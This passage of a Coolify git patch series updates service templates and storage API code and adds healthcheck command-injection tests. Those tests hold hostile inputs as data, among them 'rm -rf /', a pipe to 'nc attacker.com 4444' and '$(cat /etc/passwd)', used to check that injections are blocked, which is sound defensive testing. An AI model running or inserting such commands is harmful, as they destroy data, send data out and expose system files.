"c2VydmljZXM6CiAgaGV5Zm9ybToKICAgIGltYWdlOiAnaGV5Zm9ybS9jb21tdW5pdHktZWRpdGlvbjpsYXRlc3QnCiAgICB2b2x1bWVzOgogICAgICAtICdoZXlmb3JtLWFzc2V0czovYXBwL3N0YXRpYy91cGxvYWQnCiAgICBkZXBlbmRzX29uOgogICAgICBtb25nbzoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICBrZXlkYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX0hFWUZPUk1fODAwMAogICAgICAtICdBUFBfSE9NRVBBR0VfVVJMPSR7U0VSVklDRV9GUUROX0hFWUZPUk19JwogICAgICAtICdTRVNTSU9OX0tFWT0ke1NFUlZJQ0VfQkFTRTY0XzY0X1NFU1NJT059JwogICAgICAtICdGT1JNX0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9CQVNFNjRfNjRfRk9STX0nCiAgICAgIC0gJ01PTkdPX1VSST1tb25nb2RiOi8vbW9uZ286MjcwMTcvaGV5Zm9ybScKICAgICAgLSBSRURJU19IT1NUPWtleWRiCiAgICAgIC0gUkVESVNfUE9SVD02Mzc5CiAgICAgIC0gJ1JFRElTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9LRVlEQn0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLXFPLSBodHRwOi8vMTI3LjAuMC4xOjgwMDAgfHwgZXhpdCAxJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMwogIG1vbmdvOgogICAgaW1hZ2U6ICdwZXJjb25hL3BlcmNvbmEtc2VydmVyLW1vbmdvZGI6bGF0ZXN0JwogICAgdm9sdW1lczoKICAgICAgLSAnaGV5Zm9ybS1tb25nby1kYXRhOi9kYXRhL2RiJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICJlY2hvICdvaycgPiAvZGV2L251bGwgMj4mMSIKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgICAgIHN0YXJ0X3BlcmlvZDogNXMKICBrZXlkYjoKICAgIGltYWdlOiAnZXFhbHBoYS9rZXlkYjpsYXRlc3QnCiAgICBjb21tYW5kOiAna2V5ZGItc2VydmVyIC0tYXBwZW5kb25seSB5ZXMnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnS0VZREJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0tFWURCfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2hleWZvcm0ta2V5ZGItZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSBrZXlkYi1jbGkKICAgICAgICAtICctLXBhc3MnCiAgICAgICAgLSAnJHtTRVJWSUNFX1BBU1NXT1JEX0tFWURCfScKICAgICAgICAtIHBpbmcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgICAgIHN0YXJ0X3BlcmlvZDogNXMK", + "compose": "c2VydmljZXM6CiAgaGV5Zm9ybToKICAgIGltYWdlOiAnaGV5Zm9ybS9jb21tdW5pdHktZWRpdGlvbjpsYXRlc3QnCiAgICB2b2x1bWVzOgogICAgICAtICdoZXlmb3JtLWFzc2V0czovYXBwL3N0YXRpYy91cGxvYWQnCiAgICBkZXBlbmRzX29uOgogICAgICBtb25nbzoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICBrZXlkYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX0hFWUZPUk1fOTE1NwogICAgICAtICdBUFBfSE9NRVBBR0VfVVJMPSR7U0VSVklDRV9GUUROX0hFWUZPUk19JwogICAgICAtICdTRVNTSU9OX0tFWT0ke1NFUlZJQ0VfQkFTRTY0XzY0X1NFU1NJT059JwogICAgICAtICdGT1JNX0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9CQVNFNjRfNjRfRk9STX0nCiAgICAgIC0gJ01PTkdPX1VSST1tb25nb2RiOi8vbW9uZ286MjcwMTcvaGV5Zm9ybScKICAgICAgLSBSRURJU19IT1NUPWtleWRiCiAgICAgIC0gUkVESVNfUE9SVD02Mzc5CiAgICAgIC0gJ1JFRElTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9LRVlEQn0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLXFPLSBodHRwOi8vMTI3LjAuMC4xOjkxNTcgfHwgZXhpdCAxJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMwogIG1vbmdvOgogICAgaW1hZ2U6ICdwZXJjb25hL3BlcmNvbmEtc2VydmVyLW1vbmdvZGI6bGF0ZXN0JwogICAgdm9sdW1lczoKICAgICAgLSAnaGV5Zm9ybS1tb25nby1kYXRhOi9kYXRhL2RiJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICJlY2hvICdvaycgPiAvZGV2L251bGwgMj4mMSIKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgICAgIHN0YXJ0X3BlcmlvZDogNXMKICBrZXlkYjoKICAgIGltYWdlOiAnZXFhbHBoYS9rZXlkYjpsYXRlc3QnCiAgICBjb21tYW5kOiAna2V5ZGItc2VydmVyIC0tYXBwZW5kb25seSB5ZXMnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnS0VZREJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0tFWURCfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2hleWZvcm0ta2V5ZGItZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSBrZXlkYi1jbGkKICAgICAgICAtICctLXBhc3MnCiAgICAgICAgLSAnJHtTRVJWSUNFX1BBU1NXT1JEX0tFWURCfScKICAgICAgICAtIHBpbmcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgICAgIHN0YXJ0X3BlcmlvZDogNXMK", "tags": [ "form", "builder", @@ -1965,7 +1965,7 @@ "category": "productivity", "logo": "svgs/heyform.svg", "minversion": "0.0.0", - "port": "8000" + "port": "9157" }, "homarr": { "documentation": "https://homarr.dev?utm_source=coolify.io", @@ -2041,6 +2041,21 @@ "minversion": "0.0.0", "port": "80" }, + "imgcompress": { + "documentation": "https://imgcompress.karimzouine.com?utm_source=coolify.io", + "slogan": "Offline image compression, conversion, and AI background removal for Docker homelabs.", + "compose": "c2VydmljZXM6CiAgaW1nY29tcHJlc3M6CiAgICBpbWFnZTogJ2thcmltejEvaW1nY29tcHJlc3M6MC42LjAnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fSU1HQ09NUFJFU1NfNTAwMAogICAgICAtICdESVNBQkxFX0xPR089JHtESVNBQkxFX0xPR086LWZhbHNlfScKICAgICAgLSAnRElTQUJMRV9TVE9SQUdFX01BTkFHRU1FTlQ9JHtESVNBQkxFX1NUT1JBR0VfTUFOQUdFTUVOVDotZmFsc2V9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctZicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjUwMDAnCiAgICAgIGludGVydmFsOiAzMHMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDMK", + "tags": [ + "compress", + "photo", + "server", + "metadata" + ], + "category": "media", + "logo": "svgs/imgcompress.png", + "minversion": "0.0.0", + "port": "5000" + }, "immich": { "documentation": "https://immich.app/docs/overview/introduction?utm_source=coolify.io", "slogan": "Self-hosted photo and video management solution.", @@ -2417,6 +2432,19 @@ "minversion": "0.0.0", "port": "3000" }, + "librespeed": { + "documentation": "https://github.com/librespeed/speedtest?utm_source=coolify.io", + "slogan": "Self-hosted lightweight Speed Test.", + "compose": "c2VydmljZXM6CiAgbGlicmVzcGVlZDoKICAgIGNvbnRhaW5lcl9uYW1lOiBsaWJyZXNwZWVkCiAgICBpbWFnZTogJ2doY3IuaW8vbGlicmVzcGVlZC9zcGVlZHRlc3Q6bGF0ZXN0JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX0xJQlJFU1BFRURfODIKICAgICAgLSBNT0RFPXN0YW5kYWxvbmUKICAgICAgLSBURUxFTUVUUlk9ZmFsc2UKICAgICAgLSBESVNUQU5DRT1rbQogICAgICAtIFdFQlBPUlQ9ODIKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OiAnY3VybCAxMjcuMC4wLjE6ODIgfHwgZXhpdCAxJwogICAgICB0aW1lb3V0OiAxcwogICAgICBpbnRlcnZhbDogMW0wcwogICAgICByZXRyaWVzOiAxCg==", + "tags": [ + "speedtest", + "internet-speed" + ], + "category": "devtools", + "logo": "svgs/librespeed.png", + "minversion": "0.0.0", + "port": "82" + }, "libretranslate": { "documentation": "https://libretranslate.com/docs/?utm_source=coolify.io", "slogan": "Free and open-source machine translation API, entirely self-hosted.", @@ -4099,7 +4127,7 @@ "seaweedfs": { "documentation": "https://github.com/seaweedfs/seaweedfs?utm_source=coolify.io", "slogan": "SeaweedFS is a simple and highly scalable distributed file system. Compatible with S3, with an admin web interface.", - "compose": "c2VydmljZXM6CiAgc2Vhd2VlZGZzLW1hc3RlcjoKICAgIGltYWdlOiAnY2hyaXNsdXNmL3NlYXdlZWRmczo0LjA1JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX1MzXzgzMzMKICAgICAgLSAnQVdTX0FDQ0VTU19LRVlfSUQ9JHtTRVJWSUNFX1VTRVJfUzN9JwogICAgICAtICdBV1NfU0VDUkVUX0FDQ0VTU19LRVk9JHtTRVJWSUNFX1BBU1NXT1JEX1MzfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3NlYXdlZWRmcy1zMy1kYXRhOi9kYXRhJwogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi9iYXNlLWNvbmZpZy5qc29uCiAgICAgICAgdGFyZ2V0OiAvYmFzZS1jb25maWcuanNvbgogICAgICAgIGNvbnRlbnQ6ICJ7XG4gIFwiaWRlbnRpdGllc1wiOiBbXG4gICAge1xuICAgICAgXCJuYW1lXCI6IFwiYW5vbnltb3VzXCIsXG4gICAgICBcImFjdGlvbnNcIjogW1xuICAgICAgICBcIlJlYWRcIlxuICAgICAgXVxuICAgIH0sXG4gICAge1xuICAgICAgXCJuYW1lXCI6IFwiYWRtaW5cIixcbiAgICAgIFwiY3JlZGVudGlhbHNcIjogW1xuICAgICAgICB7XG4gICAgICAgICAgXCJhY2Nlc3NLZXlcIjogXCJlbnY6QVdTX0FDQ0VTU19LRVlfSURcIixcbiAgICAgICAgICBcInNlY3JldEtleVwiOiBcImVudjpBV1NfU0VDUkVUX0FDQ0VTU19LRVlcIlxuICAgICAgICB9XG4gICAgICBdLFxuICAgICAgXCJhY3Rpb25zXCI6IFtcbiAgICAgICAgXCJBZG1pblwiLFxuICAgICAgICBcIlJlYWRcIixcbiAgICAgICAgXCJSZWFkQWNwXCIsXG4gICAgICAgIFwiTGlzdFwiLFxuICAgICAgICBcIlRhZ2dpbmdcIixcbiAgICAgICAgXCJXcml0ZVwiLFxuICAgICAgICBcIldyaXRlQWNwXCJcbiAgICAgIF1cbiAgICB9XG4gIF1cbn1cbiIKICAgIGVudHJ5cG9pbnQ6ICJzaCAtYyAnXFxcbnNlZCBcInMvZW52OkFXU19BQ0NFU1NfS0VZX0lELyRBV1NfQUNDRVNTX0tFWV9JRC9nXCIgL2Jhc2UtY29uZmlnLmpzb24gPiAvYmFzZTEtY29uZmlnLmpzb247IFxcXG5zZWQgXCJzL2VudjpBV1NfU0VDUkVUX0FDQ0VTU19LRVkvJEFXU19TRUNSRVRfQUNDRVNTX0tFWS9nXCIgL2Jhc2UxLWNvbmZpZy5qc29uID4gL2NvbmZpZy5qc29uOyBcXFxud2VlZCBzZXJ2ZXIgLWRpcj0vZGF0YSAtbWFzdGVyLnBvcnQ9OTMzMyAtczMgLXMzLnBvcnQ9ODMzMyAtczMuY29uZmlnPS9jb25maWcuanNvblxcXG4nXG4iCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLS1zcGlkZXIgLXEgaHR0cDovLzAuMC4wLjA6ODMzMzsgWyAkJD8gLWxlIDggXScKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogIHNlYXdlZWRmcy1hZG1pbjoKICAgIGltYWdlOiAnY2hyaXNsdXNmL3NlYXdlZWRmczo0LjA1JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX0FETUlOXzIzNjQ2CiAgICAgIC0gJ1NFQVdFRURfVVNFUl9BRE1JTj0ke1NFUlZJQ0VfVVNFUl9BRE1JTn0nCiAgICAgIC0gJ1NFQVdFRURfUEFTU1dPUkRfQURNSU49JHtTRVJWSUNFX1BBU1NXT1JEX0FETUlOfScKICAgIGNvbW1hbmQ6CiAgICAgIC0gYWRtaW4KICAgICAgLSAnLW1hc3Rlcj1zZWF3ZWVkZnMtbWFzdGVyOjkzMzMnCiAgICAgIC0gJy1hZG1pblVzZXI9JHtTRUFXRUVEX1VTRVJfQURNSU59JwogICAgICAtICctYWRtaW5QYXNzd29yZD0ke1NFQVdFRURfUEFTU1dPUkRfQURNSU59JwogICAgICAtICctcG9ydD0yMzY0NicKICAgICAgLSAnLWRhdGFEaXI9L2RhdGEnCiAgICB2b2x1bWVzOgogICAgICAtICdzZWF3ZWVkZnMtYWRtaW4tZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtLXNwaWRlciAtcSBodHRwOi8vMC4wLjAuMDoyMzY0NjsgWyAkJD8gLWxlIDggXScKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogICAgZGVwZW5kc19vbjoKICAgICAgc2Vhd2VlZGZzLW1hc3RlcjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQo=", + "compose": "c2VydmljZXM6CiAgc2Vhd2VlZGZzLW1hc3RlcjoKICAgIGltYWdlOiAnY2hyaXNsdXNmL3NlYXdlZWRmczo0LjEzJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX1MzXzgzMzMKICAgICAgLSAnQVdTX0FDQ0VTU19LRVlfSUQ9JHtTRVJWSUNFX1VTRVJfUzN9JwogICAgICAtICdBV1NfU0VDUkVUX0FDQ0VTU19LRVk9JHtTRVJWSUNFX1BBU1NXT1JEX1MzfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3NlYXdlZWRmcy1zMy1kYXRhOi9kYXRhJwogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi9iYXNlLWNvbmZpZy5qc29uCiAgICAgICAgdGFyZ2V0OiAvYmFzZS1jb25maWcuanNvbgogICAgICAgIGNvbnRlbnQ6ICJ7XG4gIFwiaWRlbnRpdGllc1wiOiBbXG4gICAge1xuICAgICAgXCJuYW1lXCI6IFwiYW5vbnltb3VzXCIsXG4gICAgICBcImFjdGlvbnNcIjogW1xuICAgICAgICBcIlJlYWRcIlxuICAgICAgXVxuICAgIH0sXG4gICAge1xuICAgICAgXCJuYW1lXCI6IFwiYWRtaW5cIixcbiAgICAgIFwiY3JlZGVudGlhbHNcIjogW1xuICAgICAgICB7XG4gICAgICAgICAgXCJhY2Nlc3NLZXlcIjogXCJlbnY6QVdTX0FDQ0VTU19LRVlfSURcIixcbiAgICAgICAgICBcInNlY3JldEtleVwiOiBcImVudjpBV1NfU0VDUkVUX0FDQ0VTU19LRVlcIlxuICAgICAgICB9XG4gICAgICBdLFxuICAgICAgXCJhY3Rpb25zXCI6IFtcbiAgICAgICAgXCJBZG1pblwiLFxuICAgICAgICBcIlJlYWRcIixcbiAgICAgICAgXCJSZWFkQWNwXCIsXG4gICAgICAgIFwiTGlzdFwiLFxuICAgICAgICBcIlRhZ2dpbmdcIixcbiAgICAgICAgXCJXcml0ZVwiLFxuICAgICAgICBcIldyaXRlQWNwXCJcbiAgICAgIF1cbiAgICB9XG4gIF1cbn1cbiIKICAgIGVudHJ5cG9pbnQ6ICJzaCAtYyAnXFxcbnNlZCBcInMvZW52OkFXU19BQ0NFU1NfS0VZX0lELyRBV1NfQUNDRVNTX0tFWV9JRC9nXCIgL2Jhc2UtY29uZmlnLmpzb24gPiAvYmFzZTEtY29uZmlnLmpzb247IFxcXG5zZWQgXCJzL2VudjpBV1NfU0VDUkVUX0FDQ0VTU19LRVkvJEFXU19TRUNSRVRfQUNDRVNTX0tFWS9nXCIgL2Jhc2UxLWNvbmZpZy5qc29uID4gL2NvbmZpZy5qc29uOyBcXFxud2VlZCBzZXJ2ZXIgLWRpcj0vZGF0YSAtbWFzdGVyLnBvcnQ9OTMzMyAtczMgLXMzLnBvcnQ9ODMzMyAtczMuY29uZmlnPS9jb25maWcuanNvblxcXG4nXG4iCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLS1zcGlkZXIgLXEgaHR0cDovLzAuMC4wLjA6ODMzMzsgWyAkJD8gLWxlIDggXScKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogIHNlYXdlZWRmcy1hZG1pbjoKICAgIGltYWdlOiAnY2hyaXNsdXNmL3NlYXdlZWRmczo0LjEzJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX0FETUlOXzIzNjQ2CiAgICAgIC0gJ1NFQVdFRURfVVNFUl9BRE1JTj0ke1NFUlZJQ0VfVVNFUl9BRE1JTn0nCiAgICAgIC0gJ1NFQVdFRURfUEFTU1dPUkRfQURNSU49JHtTRVJWSUNFX1BBU1NXT1JEX0FETUlOfScKICAgIGNvbW1hbmQ6CiAgICAgIC0gYWRtaW4KICAgICAgLSAnLW1hc3Rlcj1zZWF3ZWVkZnMtbWFzdGVyOjkzMzMnCiAgICAgIC0gJy1hZG1pblVzZXI9JHtTRUFXRUVEX1VTRVJfQURNSU59JwogICAgICAtICctYWRtaW5QYXNzd29yZD0ke1NFQVdFRURfUEFTU1dPUkRfQURNSU59JwogICAgICAtICctcG9ydD0yMzY0NicKICAgICAgLSAnLWRhdGFEaXI9L2RhdGEnCiAgICB2b2x1bWVzOgogICAgICAtICdzZWF3ZWVkZnMtYWRtaW4tZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtLXNwaWRlciAtcSBodHRwOi8vMC4wLjAuMDoyMzY0NjsgWyAkJD8gLWxlIDggXScKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogICAgZGVwZW5kc19vbjoKICAgICAgc2Vhd2VlZGZzLW1hc3RlcjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQo=", "tags": [ "object", "storage", diff --git a/tests/Unit/HealthCheckCommandInjectionTest.php b/tests/Unit/HealthCheckCommandInjectionTest.php index 534be700a..88361c3d9 100644 --- a/tests/Unit/HealthCheckCommandInjectionTest.php +++ b/tests/Unit/HealthCheckCommandInjectionTest.php @@ -5,6 +5,9 @@ use App\Models\ApplicationDeploymentQueue; use App\Models\ApplicationSetting; use Illuminate\Support\Facades\Validator; +use Tests\TestCase; + +uses(TestCase::class); beforeEach(function () { Mockery::close(); @@ -176,11 +179,11 @@ it('strips newlines from CMD healthcheck command', function () { $result = callGenerateHealthcheckCommands([ 'health_check_type' => 'cmd', - 'health_check_command' => "redis-cli ping\n&& echo pwned", + 'health_check_command' => "redis-cli\nping", ]); expect($result)->not->toContain("\n") - ->and($result)->toBe('redis-cli ping && echo pwned'); + ->and($result)->toBe('redis-cli ping'); }); it('falls back to HTTP healthcheck when CMD type has empty command', function () { @@ -193,6 +196,68 @@ expect($result)->toContain('curl -s -X'); }); +it('falls back to HTTP healthcheck when CMD command contains shell metacharacters', function () { + $result = callGenerateHealthcheckCommands([ + 'health_check_type' => 'cmd', + 'health_check_command' => 'curl localhost; rm -rf /', + ]); + + // Semicolons are blocked by runtime regex — falls back to HTTP healthcheck + expect($result)->toContain('curl -s -X') + ->and($result)->not->toContain('rm -rf'); +}); + +it('falls back to HTTP healthcheck when CMD command contains pipe operator', function () { + $result = callGenerateHealthcheckCommands([ + 'health_check_type' => 'cmd', + 'health_check_command' => 'echo test | nc attacker.com 4444', + ]); + + expect($result)->toContain('curl -s -X') + ->and($result)->not->toContain('nc attacker.com'); +}); + +it('falls back to HTTP healthcheck when CMD command contains subshell', function () { + $result = callGenerateHealthcheckCommands([ + 'health_check_type' => 'cmd', + 'health_check_command' => 'curl $(cat /etc/passwd)', + ]); + + expect($result)->toContain('curl -s -X') + ->and($result)->not->toContain('/etc/passwd'); +}); + +it('falls back to HTTP healthcheck when CMD command exceeds 1000 characters', function () { + $result = callGenerateHealthcheckCommands([ + 'health_check_type' => 'cmd', + 'health_check_command' => str_repeat('a', 1001), + ]); + + // Exceeds max length — falls back to HTTP healthcheck + expect($result)->toContain('curl -s -X'); +}); + +it('falls back to HTTP healthcheck when CMD command contains backticks', function () { + $result = callGenerateHealthcheckCommands([ + 'health_check_type' => 'cmd', + 'health_check_command' => 'curl `cat /etc/passwd`', + ]); + + expect($result)->toContain('curl -s -X') + ->and($result)->not->toContain('/etc/passwd'); +}); + +it('uses sanitized method in full_healthcheck_url display', function () { + $result = callGenerateHealthcheckCommands([ + 'health_check_method' => 'INVALID;evil', + 'health_check_host' => 'localhost', + ]); + + // Method should be sanitized to 'GET' (default) in both command and display + expect($result)->toContain("'GET'") + ->and($result)->not->toContain('evil'); +}); + it('validates healthCheckCommand rejects strings over 1000 characters', function () { $rules = [ 'healthCheckCommand' => 'nullable|string|max:1000', @@ -253,15 +318,20 @@ function callGenerateHealthcheckCommands(array $overrides = []): string $application->shouldReceive('getAttribute')->with('settings')->andReturn($settings); $deploymentQueue = Mockery::mock(ApplicationDeploymentQueue::class)->makePartial(); + $deploymentQueue->shouldReceive('addLogEntry')->andReturnNull(); $job = Mockery::mock(ApplicationDeploymentJob::class)->makePartial(); - $reflection = new ReflectionClass($job); + $reflection = new ReflectionClass(ApplicationDeploymentJob::class); $appProp = $reflection->getProperty('application'); $appProp->setAccessible(true); $appProp->setValue($job, $application); + $queueProp = $reflection->getProperty('application_deployment_queue'); + $queueProp->setAccessible(true); + $queueProp->setValue($job, $deploymentQueue); + $method = $reflection->getMethod('generate_healthcheck_commands'); $method->setAccessible(true); From 15d6de9f41b9f324f4144671044b6614d461ff9c Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 16 Mar 2026 21:10:00 +0100 Subject: [PATCH 33/51] fix(storages): hide PR suffix for services and fix instantSave logic - Restrict "Add suffix for PR deployments" checkbox to non-service resources in both shared and service file-storage views - Replace condition `is_preview_deployments_enabled` with `!$isService` for PR suffix visibility in storages/show.blade.php - Fix FileStorage::instantSave() to use authorize + syncData instead of delegating to submit(), preventing unintended side effects - Add $this->validate() to Storages/Show::instantSave() before saving - Add response content schemas to storages API OpenAPI annotations - Add additionalProperties: false to storage update request schema - Rewrite PreviewDeploymentBindMountTest with behavioral tests of addPreviewDeploymentSuffix instead of file-content inspection --- .../Api/ApplicationsController.php | 32 ++- app/Livewire/Project/Service/FileStorage.php | 6 +- app/Livewire/Project/Shared/Storages/Show.php | 3 +- openapi.json | 38 ++- openapi.yaml | 14 ++ .../project/service/file-storage.blade.php | 16 +- .../project/shared/storages/show.blade.php | 20 +- templates/service-templates-latest.json | 36 ++- templates/service-templates.json | 36 ++- tests/Unit/PreviewDeploymentBindMountTest.php | 223 ++++++++++++------ 10 files changed, 314 insertions(+), 110 deletions(-) diff --git a/app/Http/Controllers/Api/ApplicationsController.php b/app/Http/Controllers/Api/ApplicationsController.php index 6521ef7ba..6188651a1 100644 --- a/app/Http/Controllers/Api/ApplicationsController.php +++ b/app/Http/Controllers/Api/ApplicationsController.php @@ -18,6 +18,7 @@ use App\Rules\ValidGitBranch; use App\Rules\ValidGitRepositoryUrl; use App\Services\DockerImageParser; +use Illuminate\Http\JsonResponse; use Illuminate\Http\Request; use Illuminate\Support\Facades\Http; use Illuminate\Support\Facades\Validator; @@ -3944,6 +3945,12 @@ private function validateDataApplications(Request $request, Server $server) new OA\Response( response: 200, description: 'All storages by application UUID.', + content: new OA\JsonContent( + properties: [ + new OA\Property(property: 'persistent_storages', type: 'array', items: new OA\Items(type: 'object')), + new OA\Property(property: 'file_storages', type: 'array', items: new OA\Items(type: 'object')), + ], + ), ), new OA\Response( response: 401, @@ -3959,7 +3966,7 @@ private function validateDataApplications(Request $request, Server $server) ), ] )] - public function storages(Request $request) + public function storages(Request $request): JsonResponse { $teamId = getTeamIdFromToken(); if (is_null($teamId)) { @@ -4022,6 +4029,7 @@ public function storages(Request $request) 'host_path' => ['type' => 'string', 'nullable' => true, 'description' => 'The host path (persistent only, not allowed for read-only storages).'], 'content' => ['type' => 'string', 'nullable' => true, 'description' => 'The file content (file only, not allowed for read-only storages).'], ], + additionalProperties: false, ), ), ], @@ -4030,6 +4038,7 @@ public function storages(Request $request) new OA\Response( response: 200, description: 'Storage updated.', + content: new OA\JsonContent(type: 'object'), ), new OA\Response( response: 401, @@ -4043,9 +4052,13 @@ public function storages(Request $request) response: 404, ref: '#/components/responses/404', ), + new OA\Response( + response: 422, + ref: '#/components/responses/422', + ), ] )] - public function update_storage(Request $request) + public function update_storage(Request $request): JsonResponse { $teamId = getTeamIdFromToken(); @@ -4117,6 +4130,21 @@ public function update_storage(Request $request) ], 422); } + // Reject fields that don't apply to the given storage type + if (! $isReadOnly) { + $typeSpecificInvalidFields = $request->type === 'persistent' + ? array_intersect(['content'], array_keys($request->all())) + : array_intersect(['name', 'host_path'], array_keys($request->all())); + + if (! empty($typeSpecificInvalidFields)) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => collect($typeSpecificInvalidFields) + ->mapWithKeys(fn ($field) => [$field => "Field '{$field}' is not valid for type '{$request->type}'."]), + ], 422); + } + } + // Always allowed if ($request->has('is_preview_suffix_enabled')) { $storage->is_preview_suffix_enabled = $request->is_preview_suffix_enabled; diff --git a/app/Livewire/Project/Service/FileStorage.php b/app/Livewire/Project/Service/FileStorage.php index 71da07eb0..844e37854 100644 --- a/app/Livewire/Project/Service/FileStorage.php +++ b/app/Livewire/Project/Service/FileStorage.php @@ -194,9 +194,11 @@ public function submit() } } - public function instantSave() + public function instantSave(): void { - $this->submit(); + $this->authorize('update', $this->resource); + $this->syncData(true); + $this->dispatch('success', 'File updated.'); } public function render() diff --git a/app/Livewire/Project/Shared/Storages/Show.php b/app/Livewire/Project/Shared/Storages/Show.php index 72b330845..eee5a0776 100644 --- a/app/Livewire/Project/Shared/Storages/Show.php +++ b/app/Livewire/Project/Shared/Storages/Show.php @@ -72,9 +72,10 @@ public function mount() $this->isReadOnly = $this->storage->shouldBeReadOnlyInUI(); } - public function instantSave() + public function instantSave(): void { $this->authorize('update', $this->resource); + $this->validate(); $this->syncData(true); $this->storage->save(); diff --git a/openapi.json b/openapi.json index d1dadcaf0..5477420ab 100644 --- a/openapi.json +++ b/openapi.json @@ -3463,7 +3463,28 @@ ], "responses": { "200": { - "description": "All storages by application UUID." + "description": "All storages by application UUID.", + "content": { + "application\/json": { + "schema": { + "properties": { + "persistent_storages": { + "type": "array", + "items": { + "type": "object" + } + }, + "file_storages": { + "type": "array", + "items": { + "type": "object" + } + } + }, + "type": "object" + } + } + } }, "401": { "$ref": "#\/components\/responses\/401" @@ -3545,14 +3566,22 @@ "description": "The file content (file only, not allowed for read-only storages)." } }, - "type": "object" + "type": "object", + "additionalProperties": false } } } }, "responses": { "200": { - "description": "Storage updated." + "description": "Storage updated.", + "content": { + "application\/json": { + "schema": { + "type": "object" + } + } + } }, "401": { "$ref": "#\/components\/responses\/401" @@ -3562,6 +3591,9 @@ }, "404": { "$ref": 